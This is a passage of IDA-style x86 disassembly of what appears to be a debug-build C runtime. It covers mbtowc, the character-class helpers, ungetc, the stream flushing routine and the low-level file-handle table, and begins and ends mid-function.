loc_4273B6: ; CODE XREF: sub_4273B0+3Aj
cmp dword_442F58, 1
jz short loc_4273E6
cmp dword_442F58, 2
jz short loc_4273E6
push offset aMb_cur_max1Mb_ ; "MB_CUR_MAX == 1 || MB_CUR_MAX == 2"
push 0
push 4Fh
push offset aMbtowc_c ; "mbtowc.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_4273E6
int 3 ; Trap to Debugger
loc_4273E6: ; CODE XREF: sub_4273B0+Dj
; sub_4273B0+16j ...
xor eax, eax
test eax, eax
jnz short loc_4273B6
cmp [ebp+arg_4], 0
jz short loc_4273F8
cmp [ebp+arg_8], 0
jnz short loc_4273FF
loc_4273F8: ; CODE XREF: sub_4273B0+40j
xor eax, eax
jmp loc_427509
; ---------------------------------------------------------------------------
loc_4273FF: ; CODE XREF: sub_4273B0+46j
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_42741E
cmp [ebp+arg_0], 0
jz short loc_427417
mov eax, [ebp+arg_0]
mov word ptr [eax], 0
loc_427417: ; CODE XREF: sub_4273B0+5Dj
xor eax, eax
jmp loc_427509
; ---------------------------------------------------------------------------
loc_42741E: ; CODE XREF: sub_4273B0+57j
cmp dword_492170, 0
jnz short loc_427444
cmp [ebp+arg_0], 0
jz short loc_42743A
mov ecx, [ebp+arg_4]
movzx dx, byte ptr [ecx]
mov eax, [ebp+arg_0]
mov [eax], dx
loc_42743A: ; CODE XREF: sub_4273B0+7Bj
mov eax, 1
jmp loc_427509
; ---------------------------------------------------------------------------
loc_427444: ; CODE XREF: sub_4273B0+75j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_4274CD
cmp dword_442F58, 1
jle short loc_4274A0
mov edx, [ebp+arg_8]
cmp edx, dword_442F58
jl short loc_4274A0
xor eax, eax
cmp [ebp+arg_0], 0
setnz al
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, dword_442F58
push edx
mov eax, [ebp+arg_4]
push eax
push 9
mov ecx, dword_492180
push ecx
call ds:dword_4942D4
test eax, eax
jnz short loc_4274C6
loc_4274A0: ; CODE XREF: sub_4273B0+B7j
; sub_4273B0+C2j
mov edx, [ebp+arg_8]
cmp edx, dword_442F58
jb short loc_4274B6
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax+1]
test ecx, ecx
jnz short loc_4274C6
loc_4274B6: ; CODE XREF: sub_4273B0+F9j
call sub_422F20
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_427509
; ---------------------------------------------------------------------------
loc_4274C6: ; CODE XREF: sub_4273B0+EEj
; sub_4273B0+104j
mov eax, dword_442F58
jmp short loc_427509
; ---------------------------------------------------------------------------
loc_4274CD: ; CODE XREF: sub_4273B0+AEj
xor edx, edx
cmp [ebp+arg_0], 0
setnz dl
push edx
mov eax, [ebp+arg_0]
push eax
push 1
mov ecx, [ebp+arg_4]
push ecx
push 9
mov edx, dword_492180
push edx
call ds:dword_4942D4
test eax, eax
jnz short loc_427504
call sub_422F20
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_427509
; ---------------------------------------------------------------------------
loc_427504: ; CODE XREF: sub_4273B0+142j
mov eax, 1
loc_427509: ; CODE XREF: sub_4273B0+4Aj
; sub_4273B0+69j ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4273B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_442F58, 1
jle short loc_427533
push 103h
mov eax, [ebp+8]
push eax
call sub_41E750
add esp, 8
mov [ebp-4], eax
jmp short loc_42754A
; ---------------------------------------------------------------------------
loc_427533: ; CODE XREF: .text:0042751Bj
mov ecx, [ebp+8]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 103h
mov [ebp-4], eax
loc_42754A: ; CODE XREF: .text:00427531j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_442F58, 1
jle short loc_427580
push 1
mov eax, [ebp+8]
push eax
call sub_41E750
add esp, 8
mov [ebp-4], eax
jmp short loc_427595
; ---------------------------------------------------------------------------
loc_427580: ; CODE XREF: .text:0042756Bj
mov ecx, [ebp+8]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 1
mov [ebp-4], eax
loc_427595: ; CODE XREF: .text:0042757Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_442F58, 1
jle short loc_4275C0
push 2
mov eax, [ebp+8]
push eax
call sub_41E750
add esp, 8
mov [ebp-4], eax
jmp short loc_4275D5
; ---------------------------------------------------------------------------
loc_4275C0: ; CODE XREF: .text:004275ABj
mov ecx, [ebp+8]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 2
mov [ebp-4], eax
loc_4275D5: ; CODE XREF: .text:004275BEj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_442F58, 1
jle short loc_427600
push 4
mov eax, [ebp+8]
push eax
call sub_41E750
add esp, 8
mov [ebp-4], eax
jmp short loc_427615
; ---------------------------------------------------------------------------
loc_427600: ; CODE XREF: .text:004275EBj
mov ecx, [ebp+8]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp-4], eax
loc_427615: ; CODE XREF: .text:004275FEj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_442F58, 1
jle short loc_427643
push 80h
mov eax, [ebp+8]
push eax
call sub_41E750
add esp, 8
mov [ebp-4], eax
jmp short loc_42765A
; ---------------------------------------------------------------------------
loc_427643: ; CODE XREF: .text:0042762Bj
mov ecx, [ebp+8]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 80h
mov [ebp-4], eax
loc_42765A: ; CODE XREF: .text:00427641j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427670 proc near ; CODE XREF: sub_41FBE0+105p
; sub_4210A0+24p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_442F58, 1
jle short loc_427690
push 8
mov eax, [ebp+arg_0]
push eax
call sub_41E750
add esp, 8
mov [ebp+var_4], eax
jmp short loc_4276A5
; ---------------------------------------------------------------------------
loc_427690: ; CODE XREF: sub_427670+Bj
mov ecx, [ebp+arg_0]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8
mov [ebp+var_4], eax
loc_4276A5: ; CODE XREF: sub_427670+1Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_427670 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_442F58, 1
jle short loc_4276D0
push 10h
mov eax, [ebp+8]
push eax
call sub_41E750
add esp, 8
mov [ebp-4], eax
jmp short loc_4276E5
; ---------------------------------------------------------------------------
loc_4276D0: ; CODE XREF: .text:004276BBj
mov ecx, [ebp+8]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 10h
mov [ebp-4], eax
loc_4276E5: ; CODE XREF: .text:004276CEj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_442F58, 1
jle short loc_427713
push 107h
mov eax, [ebp+8]
push eax
call sub_41E750
add esp, 8
mov [ebp-4], eax
jmp short loc_42772A
; ---------------------------------------------------------------------------
loc_427713: ; CODE XREF: .text:004276FBj
mov ecx, [ebp+8]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 107h
mov [ebp-4], eax
loc_42772A: ; CODE XREF: .text:00427711j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_442F58, 1
jle short loc_427763
push 157h
mov eax, [ebp+8]
push eax
call sub_41E750
add esp, 8
mov [ebp-4], eax
jmp short loc_42777A
; ---------------------------------------------------------------------------
loc_427763: ; CODE XREF: .text:0042774Bj
mov ecx, [ebp+8]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 157h
mov [ebp-4], eax
loc_42777A: ; CODE XREF: .text:00427761j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_442F58, 1
jle short loc_4277B3
push 117h
mov eax, [ebp+8]
push eax
call sub_41E750
add esp, 8
mov [ebp-4], eax
jmp short loc_4277CA
; ---------------------------------------------------------------------------
loc_4277B3: ; CODE XREF: .text:0042779Bj
mov ecx, [ebp+8]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 117h
mov [ebp-4], eax
loc_4277CA: ; CODE XREF: .text:004277B1j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_442F58, 1
jle short loc_427800
push 20h
mov eax, [ebp+8]
push eax
call sub_41E750
add esp, 8
mov [ebp-4], eax
jmp short loc_427815
; ---------------------------------------------------------------------------
loc_427800: ; CODE XREF: .text:004277EBj
mov ecx, [ebp+8]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 20h
mov [ebp-4], eax
loc_427815: ; CODE XREF: .text:004277FEj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword ptr [ebp+8], 80h
sbb eax, eax
neg eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 7Fh
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
cmp dword_442F58, 1
jle short loc_427865
push 103h
mov eax, [ebp+8]
push eax
call sub_41E750
add esp, 8
mov [ebp-4], eax
jmp short loc_42787C
; ---------------------------------------------------------------------------
loc_427865: ; CODE XREF: .text:0042784Dj
mov ecx, [ebp+8]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 103h
mov [ebp-4], eax
loc_42787C: ; CODE XREF: .text:00427863j
cmp dword ptr [ebp-4], 0
jnz short loc_427891
cmp dword ptr [ebp+8], 5Fh
jz short loc_427891
mov dword ptr [ebp-8], 0
jmp short loc_427898
; ---------------------------------------------------------------------------
loc_427891: ; CODE XREF: .text:00427880j
; .text:00427886j
mov dword ptr [ebp-8], 1
loc_427898: ; CODE XREF: .text:0042788Fj
mov eax, [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
cmp dword_442F58, 1
jle short loc_4278C5
push 107h
mov eax, [ebp+8]
push eax
call sub_41E750
add esp, 8
mov [ebp-4], eax
jmp short loc_4278DC
; ---------------------------------------------------------------------------
loc_4278C5: ; CODE XREF: .text:004278ADj
mov ecx, [ebp+8]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 107h
mov [ebp-4], eax
loc_4278DC: ; CODE XREF: .text:004278C3j
cmp dword ptr [ebp-4], 0
jnz short loc_4278F1
cmp dword ptr [ebp+8], 5Fh
jz short loc_4278F1
mov dword ptr [ebp-8], 0
jmp short loc_4278F8
; ---------------------------------------------------------------------------
loc_4278F1: ; CODE XREF: .text:004278E0j
; .text:004278E6j
mov dword ptr [ebp-8], 1
loc_4278F8: ; CODE XREF: .text:004278EFj
mov eax, [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_427900 proc near ; CODE XREF: sub_41FBE0+9D7p
; sub_41FBE0+A65p ...
cmp cl, 40h
jnb short loc_42791A
cmp cl, 20h
jnb short loc_427910
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_427910: ; CODE XREF: sub_427900+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_42791A: ; CODE XREF: sub_427900+3j
xor eax, eax
xor edx, edx
retn
sub_427900 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_427927: ; CODE XREF: .text:0042794Fj
cmp dword ptr [ebp+0Ch], 0
jnz short loc_42794B
push offset aStreamNull ; "stream != NULL"
push 0
push 31h
push offset aUngetc_c ; "ungetc.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_42794B
int 3 ; Trap to Debugger
loc_42794B: ; CODE XREF: .text:0042792Bj
; .text:00427948j
xor eax, eax
test eax, eax
jnz short loc_427927
mov ecx, [ebp+0Ch]
push ecx
call sub_421230
add esp, 4
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_427990
add esp, 8
mov [ebp-4], eax
mov ecx, [ebp+0Ch]
push ecx
call sub_4212A0
add esp, 4
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427990 proc near ; CODE XREF: sub_421080+11p
; .text:00427965p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_427997: ; CODE XREF: sub_427990+2Fj
cmp [ebp+arg_4], 0
jnz short loc_4279BB
push offset aStrNull ; "str != NULL"
push 0
push 60h
push offset aUngetc_c ; "ungetc.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_4279BB
int 3 ; Trap to Debugger
loc_4279BB: ; CODE XREF: sub_427990+Bj
; sub_427990+28j
xor eax, eax
test eax, eax
jnz short loc_427997
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_4279F7
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 1
test eax, eax
jnz short loc_4279FF
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_4279F7
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 2
test ecx, ecx
jz short loc_4279FF
loc_4279F7: ; CODE XREF: sub_427990+3Bj
; sub_427990+58j
or eax, 0FFFFFFFFh
jmp loc_427AC7
; ---------------------------------------------------------------------------
loc_4279FF: ; CODE XREF: sub_427990+48j
; sub_427990+65j
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jnz short loc_427A14
mov eax, [ebp+var_4]
push eax
call sub_427100
add esp, 4
loc_427A14: ; CODE XREF: sub_427990+76j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov eax, [ecx]
cmp eax, [edx+8]
jnz short loc_427A3F
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jz short loc_427A32
or eax, 0FFFFFFFFh
jmp loc_427AC7
; ---------------------------------------------------------------------------
loc_427A32: ; CODE XREF: sub_427990+98j
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
loc_427A3F: ; CODE XREF: sub_427990+8Fj
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 40h
test eax, eax
jz short loc_427A7D
mov ecx, [ebp+var_4]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+var_4]
mov [eax], edx
mov ecx, [ebp+var_4]
mov edx, [ecx]
movsx eax, byte ptr [edx]
movsx ecx, byte ptr [ebp+arg_0]
cmp eax, ecx
jz short loc_427A7B
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
or eax, 0FFFFFFFFh
jmp short loc_427AC7
; ---------------------------------------------------------------------------
loc_427A7B: ; CODE XREF: sub_427990+D7j
jmp short loc_427A94
; ---------------------------------------------------------------------------
loc_427A7D: ; CODE XREF: sub_427990+BAj
mov edx, [ebp+var_4]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov eax, [edx]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
loc_427A94: ; CODE XREF: sub_427990:loc_427A7Bj
mov edx, [ebp+var_4]
mov eax, [edx+4]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx+4], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and al, 0EFh
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_427AC7: ; CODE XREF: sub_427990+6Aj
; sub_427990+9Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_427990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427AD0 proc near ; CODE XREF: sub_421210+13p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
push 2
call sub_41BC90
add esp, 4
mov [ebp+var_8], 3
jmp short loc_427AF9
; ---------------------------------------------------------------------------
loc_427AF0: ; CODE XREF: sub_427AD0:loc_427B94j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_427AF9: ; CODE XREF: sub_427AD0+1Ej
mov ecx, [ebp+var_8]
cmp ecx, dword_493760
jge loc_427B99
mov edx, [ebp+var_8]
mov eax, dword_492750
cmp dword ptr [eax+edx*4], 0
jz short loc_427B94
mov ecx, [ebp+var_8]
mov edx, dword_492750
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jz short loc_427B51
mov edx, [ebp+var_8]
mov eax, dword_492750
mov ecx, [eax+edx*4]
push ecx
call sub_419740
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_427B51
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_427B51: ; CODE XREF: sub_427AD0+5Dj
; sub_427AD0+76j
cmp [ebp+var_8], 14h
jl short loc_427B94
mov eax, [ebp+var_8]
mov ecx, dword_492750
mov edx, [ecx+eax*4]
add edx, 20h
push edx
call ds:dword_494310
push 2
mov eax, [ebp+var_8]
mov ecx, dword_492750
mov edx, [ecx+eax*4]
push edx
call sub_4174C0
add esp, 8
mov eax, [ebp+var_8]
mov ecx, dword_492750
mov dword ptr [ecx+eax*4], 0
loc_427B94: ; CODE XREF: sub_427AD0+44j
; sub_427AD0+85j
jmp loc_427AF0
; ---------------------------------------------------------------------------
loc_427B99: ; CODE XREF: sub_427AD0+32j
push 2
call sub_41BD30
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_427AD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427BB0 proc near ; CODE XREF: .text:loc_428042p
; sub_4282A0:loc_428539p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
mov [ebp+var_8], 0FFFFFFFFh
push 12h
call sub_41BC90
add esp, 4
mov [ebp+var_C], 0
jmp short loc_427BDA
; ---------------------------------------------------------------------------
loc_427BD1: ; CODE XREF: sub_427BB0:loc_427D7Bj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_427BDA: ; CODE XREF: sub_427BB0+1Fj
cmp [ebp+var_C], 40h
jge loc_427D80
mov ecx, [ebp+var_C]
cmp dword_492420[ecx*4], 0
jz loc_427CE6
mov edx, [ebp+var_C]
mov eax, dword_492420[edx*4]
mov [ebp+var_4], eax
jmp short loc_427C0D
; ---------------------------------------------------------------------------
loc_427C04: ; CODE XREF: sub_427BB0+F1j
; sub_427BB0:loc_427CD1j
mov ecx, [ebp+var_4]
add ecx, 24h
mov [ebp+var_4], ecx
loc_427C0D: ; CODE XREF: sub_427BB0+52j
mov edx, [ebp+var_C]
mov eax, dword_492420[edx*4]
add eax, 480h
cmp [ebp+var_4], eax
jnb loc_427CD6
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx+4]
and edx, 1
test edx, edx
jnz loc_427CD1
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_427C79
push 11h
call sub_41BC90
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jnz short loc_427C6F
mov edx, [ebp+var_4]
add edx, 0Ch
push edx
call ds:dword_494430
mov eax, [ebp+var_4]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx+8], ecx
loc_427C6F: ; CODE XREF: sub_427BB0+A1j
push 11h
call sub_41BD30
add esp, 4
loc_427C79: ; CODE XREF: sub_427BB0+8Ej
mov eax, [ebp+var_4]
add eax, 0Ch
push eax
call ds:dword_494304
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx+4]
and edx, 1
test edx, edx
jz short loc_427CA6
mov eax, [ebp+var_4]
add eax, 0Ch
push eax
call ds:dword_494300
jmp loc_427C04
; ---------------------------------------------------------------------------
loc_427CA6: ; CODE XREF: sub_427BB0+E2j
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0FFFFFFFFh
mov ecx, [ebp+var_C]
shl ecx, 5
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
sub eax, dword_492420[edx*4]
cdq
mov esi, 24h
idiv esi
add ecx, eax
mov [ebp+var_8], ecx
jmp short loc_427CD6
; ---------------------------------------------------------------------------
loc_427CD1: ; CODE XREF: sub_427BB0+81j
jmp loc_427C04
; ---------------------------------------------------------------------------
loc_427CD6: ; CODE XREF: sub_427BB0+6Fj
; sub_427BB0+11Fj
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_427CE1
jmp loc_427D80
; ---------------------------------------------------------------------------
loc_427CE1: ; CODE XREF: sub_427BB0+12Aj
jmp loc_427D7B
; ---------------------------------------------------------------------------
loc_427CE6: ; CODE XREF: sub_427BB0+3Fj
push 79h
push offset aOsfinfo_c ; "osfinfo.c"
push 2
push 480h
call sub_416A30
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_427D79
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov dword_492420[eax*4], ecx
mov edx, dword_492520
add edx, 20h
mov dword_492520, edx
jmp short loc_427D2C
; ---------------------------------------------------------------------------
loc_427D23: ; CODE XREF: sub_427BB0+1B2j
mov eax, [ebp+var_4]
add eax, 24h
mov [ebp+var_4], eax
loc_427D2C: ; CODE XREF: sub_427BB0+171j
mov ecx, [ebp+var_C]
mov edx, dword_492420[ecx*4]
add edx, 480h
cmp [ebp+var_4], edx
jnb short loc_427D64
mov eax, [ebp+var_4]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_4]
mov dword ptr [eax+8], 0
jmp short loc_427D23
; ---------------------------------------------------------------------------
loc_427D64: ; CODE XREF: sub_427BB0+18Fj
mov ecx, [ebp+var_C]
shl ecx, 5
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
push edx
call sub_4280C0
add esp, 4
loc_427D79: ; CODE XREF: sub_427BB0+153j
jmp short loc_427D80
; ---------------------------------------------------------------------------
loc_427D7B: ; CODE XREF: sub_427BB0:loc_427CE1j
jmp loc_427BD1
; ---------------------------------------------------------------------------
loc_427D80: ; CODE XREF: sub_427BB0+2Ej
; sub_427BB0+12Cj ...
push 12h
call sub_41BD30
add esp, 4
mov eax, [ebp+var_8]
pop esi
mov esp, ebp
pop ebp
retn
sub_427BB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427DA0 proc near ; CODE XREF: .text:00428073p
; sub_4282A0+379p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_492520
jnb loc_427E3A
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
cmp dword ptr [eax+edx], 0FFFFFFFFh
jnz short loc_427E3A
cmp dword_442C54, 1
jnz short loc_427E1A
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jz short loc_427DF2
cmp [ebp+var_4], 1
jz short loc_427E00
cmp [ebp+var_4], 2
jz short loc_427E0E
jmp short loc_427E1A
; ---------------------------------------------------------------------------
loc_427DF2: ; CODE XREF: sub_427DA0+42j
mov edx, [ebp+arg_4]
push edx
push 0FFFFFFF6h
call ds:dword_4942BC
jmp short loc_427E1A
; ---------------------------------------------------------------------------
loc_427E00: ; CODE XREF: sub_427DA0+48j
mov eax, [ebp+arg_4]
push eax
push 0FFFFFFF5h
call ds:dword_4942BC
jmp short loc_427E1A
; ---------------------------------------------------------------------------
loc_427E0E: ; CODE XREF: sub_427DA0+4Ej
mov ecx, [ebp+arg_4]
push ecx
push 0FFFFFFF4h
call ds:dword_4942BC
loc_427E1A: ; CODE XREF: sub_427DA0+36j
; sub_427DA0+50j ...
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_492420[edx*4]
mov edx, [ebp+arg_4]
mov [ecx+eax], edx
xor eax, eax
jmp short loc_427E53
; ---------------------------------------------------------------------------
loc_427E3A: ; CODE XREF: sub_427DA0+Dj
; sub_427DA0+2Dj
call sub_422F20
mov dword ptr [eax], 9
call sub_422F30
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_427E53: ; CODE XREF: sub_427DA0+98j
mov esp, ebp
pop ebp
retn
sub_427DA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427E60 proc near ; CODE XREF: sub_421390+69p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_492520
jnb loc_427F1B
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jz loc_427F1B
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_492420[edx*4]
cmp dword ptr [ecx+eax], 0FFFFFFFFh
jz short loc_427F1B
cmp dword_442C54, 1
jnz short loc_427EFA
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jz short loc_427ED8
cmp [ebp+var_4], 1
jz short loc_427EE4
cmp [ebp+var_4], 2
jz short loc_427EF0
jmp short loc_427EFA
; ---------------------------------------------------------------------------
loc_427ED8: ; CODE XREF: sub_427E60+68j
push 0
push 0FFFFFFF6h
call ds:dword_4942BC
jmp short loc_427EFA
; ---------------------------------------------------------------------------
loc_427EE4: ; CODE XREF: sub_427E60+6Ej
push 0
push 0FFFFFFF5h
call ds:dword_4942BC
jmp short loc_427EFA
; ---------------------------------------------------------------------------
loc_427EF0: ; CODE XREF: sub_427E60+74j
push 0
push 0FFFFFFF4h
call ds:dword_4942BC
loc_427EFA: ; CODE XREF: sub_427E60+5Cj
; sub_427E60+76j ...
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
mov dword ptr [edx+ecx], 0FFFFFFFFh
xor eax, eax
jmp short loc_427F34
; ---------------------------------------------------------------------------
loc_427F1B: ; CODE XREF: sub_427E60+Dj
; sub_427E60+33j ...
call sub_422F20
mov dword ptr [eax], 9
call sub_422F30
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_427F34: ; CODE XREF: sub_427E60+B9j
mov esp, ebp
pop ebp
retn
sub_427E60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427F40 proc near ; CODE XREF: sub_421390+9p
; sub_421390+24p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, dword_492520
jnb short loc_427F8B
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jz short loc_427F8B
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_492420[edx*4]
